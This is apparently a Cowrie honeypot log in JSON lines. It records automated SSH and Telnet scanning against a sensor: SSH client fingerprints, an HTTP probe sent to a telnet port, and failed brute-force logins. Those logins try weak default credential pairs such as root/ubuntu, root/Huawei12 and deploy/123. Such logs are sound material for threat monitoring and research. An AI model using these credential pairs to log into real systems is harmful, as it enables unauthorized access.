{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:27.003232Z","src_ip":"176.65.132.254","session":"11b54d7757b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1Q2w3e4r","message":"login attempt [root/1Q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:27.251131Z","src_ip":"176.65.132.254","session":"11b54d7757b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":35672,"dst_ip":"159.203.135.109","dst_port":23,"session":"f91230851366","protocol":"telnet","message":"New connection: 134.209.8.29:35672 (159.203.135.109:23) [session: f91230851366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:28.204285Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:28.344362Z","src_ip":"176.65.132.254","session":"11b54d7757b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":40198,"dst_ip":"10.17.0.5","dst_port":22,"session":"368786bf401a","protocol":"ssh","message":"New connection: 176.65.132.254:40198 (10.17.0.5:22) [session: 368786bf401a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:31.137777Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:31.143753Z","src_ip":"176.65.132.254","session":"368786bf401a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:31.239888Z","src_ip":"176.65.132.254","session":"368786bf401a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:31.595715Z","src_ip":"176.65.132.254","session":"368786bf401a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.982273817062378,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:31.747532Z","src_ip":"38.54.119.93","session":"f85be981e56d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:32.776860Z","src_ip":"176.65.132.254","session":"368786bf401a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.195.133","src_port":21510,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ea6318c86a0","protocol":"telnet","message":"New connection: 47.254.195.133:21510 (10.17.0.5:23) [session: 0ea6318c86a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:34.128736Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:34.134163Z","src_ip":"47.254.195.133","session":"0ea6318c86a0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: curl/7.64.1","password":"Accept: */*","message":"login attempt [User-Agent: curl/7.64.1/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:34.137668Z","src_ip":"47.254.195.133","session":"0ea6318c86a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45562,"dst_ip":"10.17.0.5","dst_port":22,"session":"4303e42ed9c0","protocol":"ssh","message":"New connection: 176.65.132.254:45562 (10.17.0.5:22) [session: 4303e42ed9c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:35.374047Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:35.379238Z","src_ip":"176.65.132.254","session":"4303e42ed9c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:35.461892Z","src_ip":"176.65.132.254","session":"4303e42ed9c0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123","message":"login attempt [deploy/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:35.740953Z","src_ip":"176.65.132.254","session":"4303e42ed9c0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56986,"dst_ip":"159.203.135.109","dst_port":23,"session":"83e689e5879d","protocol":"telnet","message":"New connection: 134.209.8.29:56986 (159.203.135.109:23) [session: 83e689e5879d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:35.973599Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:36.846884Z","src_ip":"176.65.132.254","session":"4303e42ed9c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.0009777545928955,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:37.129505Z","src_ip":"47.254.195.133","session":"0ea6318c86a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":45576,"dst_ip":"10.17.0.5","dst_port":22,"session":"862bf39d32e4","protocol":"ssh","message":"New connection: 176.65.132.254:45576 (10.17.0.5:22) [session: 862bf39d32e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:39.448837Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:39.453660Z","src_ip":"176.65.132.254","session":"862bf39d32e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:39.541554Z","src_ip":"176.65.132.254","session":"862bf39d32e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mc","password":"mc","message":"login attempt [mc/mc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:40.059364Z","src_ip":"176.65.132.254","session":"862bf39d32e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:41.152186Z","src_ip":"176.65.132.254","session":"862bf39d32e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":56994,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d520a8bce66","protocol":"telnet","message":"New connection: 134.209.8.29:56994 (159.203.135.109:23) [session: 1d520a8bce66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:42.922183Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48766,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d225897c88","protocol":"ssh","message":"New connection: 176.65.132.254:48766 (10.17.0.5:22) [session: 60d225897c88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:43.653984Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:43.663476Z","src_ip":"176.65.132.254","session":"60d225897c88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:43.745967Z","src_ip":"176.65.132.254","session":"60d225897c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":1.0634281635284424,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:43.985508Z","src_ip":"134.209.8.29","session":"1d520a8bce66","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"nexus","password":"123","message":"login attempt [nexus/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:44.038594Z","src_ip":"176.65.132.254","session":"60d225897c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:45.124214Z","src_ip":"176.65.132.254","session":"60d225897c88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00243020057678,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:45.917883Z","src_ip":"134.209.8.29","session":"ae08dfca4114","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"47.254.195.133","src_port":46752,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1836d945c53","protocol":"telnet","message":"New connection: 47.254.195.133:46752 (10.17.0.5:23) [session: f1836d945c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:47.358856Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48772,"dst_ip":"10.17.0.5","dst_port":22,"session":"b65e526d73e5","protocol":"ssh","message":"New connection: 176.65.132.254:48772 (10.17.0.5:22) [session: b65e526d73e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:47.885605Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:47.890556Z","src_ip":"176.65.132.254","session":"b65e526d73e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:47.972703Z","src_ip":"176.65.132.254","session":"b65e526d73e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:48.240588Z","src_ip":"176.65.132.254","session":"b65e526d73e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:49.476222Z","src_ip":"176.65.132.254","session":"b65e526d73e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"134.209.8.29","src_port":54326,"dst_ip":"159.203.135.109","dst_port":23,"session":"f40d42ce2ddd","protocol":"telnet","message":"New connection: 134.209.8.29:54326 (159.203.135.109:23) [session: f40d42ce2ddd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:49.923483Z"}
{"eventid":"cowrie.session.closed","duration":2.9998748302459717,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:50.358589Z","src_ip":"47.254.195.133","session":"f1836d945c53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.254","src_port":48784,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed0fe00f46fb","protocol":"ssh","message":"New connection: 176.65.132.254:48784 (10.17.0.5:22) [session: ed0fe00f46fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:51.943185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:51.948475Z","src_ip":"176.65.132.254","session":"ed0fe00f46fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:52.165781Z","src_ip":"176.65.132.254","session":"ed0fe00f46fb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei12","message":"login attempt [root/Huawei12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:52.542871Z","src_ip":"176.65.132.254","session":"ed0fe00f46fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:53.638125Z","src_ip":"176.65.132.254","session":"ed0fe00f46fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.254.166.101","src_port":36758,"dst_ip":"159.203.135.109","dst_port":22,"session":"a1f93035b386","protocol":"ssh","message":"New connection: 205.254.166.101:36758 (159.203.135.109:22) [session: a1f93035b386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:54.860312Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T18:46:54.869997Z","src_ip":"205.254.166.101","session":"a1f93035b386","protocol":"ssh"}
